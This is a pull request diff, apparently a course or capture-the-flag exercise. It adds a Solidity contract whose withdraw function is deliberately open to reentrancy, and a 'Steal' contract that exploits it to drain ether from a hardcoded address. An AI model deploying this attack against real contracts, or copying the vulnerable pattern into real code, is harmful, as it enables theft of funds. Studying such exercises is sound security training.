Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 27 additions & 0 deletions 2022.2/Pedro Dannecker/Reentrance/Reentrance.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Reentrance {

mapping(address => uint) public balances;

constructor () payable {}

function donate(address _to) public payable {
balances[_to] += msg.value;
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
require(result, "Failed to send eth");
unchecked {
balances[msg.sender] -= _amount;
}
}
}
}
30 changes: 30 additions & 0 deletions 2022.2/Pedro Dannecker/Reentrance/Steal.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Reentrance.sol";

contract Steal{


Reentrance public contrato= Reentrance(0x2B420085C4671023817Fb96E839A3c6b28C0ea39);

constructor () public payable {}

function donate() external payable {
require(address(this).balance>=100 wei);
contrato.donate{value: 100 wei}(address(this));
}


function getBalance(address _to) external view returns (uint){
return address(_to).balance;
}

function withdraw() public{
contrato.withdraw(100 wei);
}

receive() external payable {
contrato.withdraw(msg.value);
}
}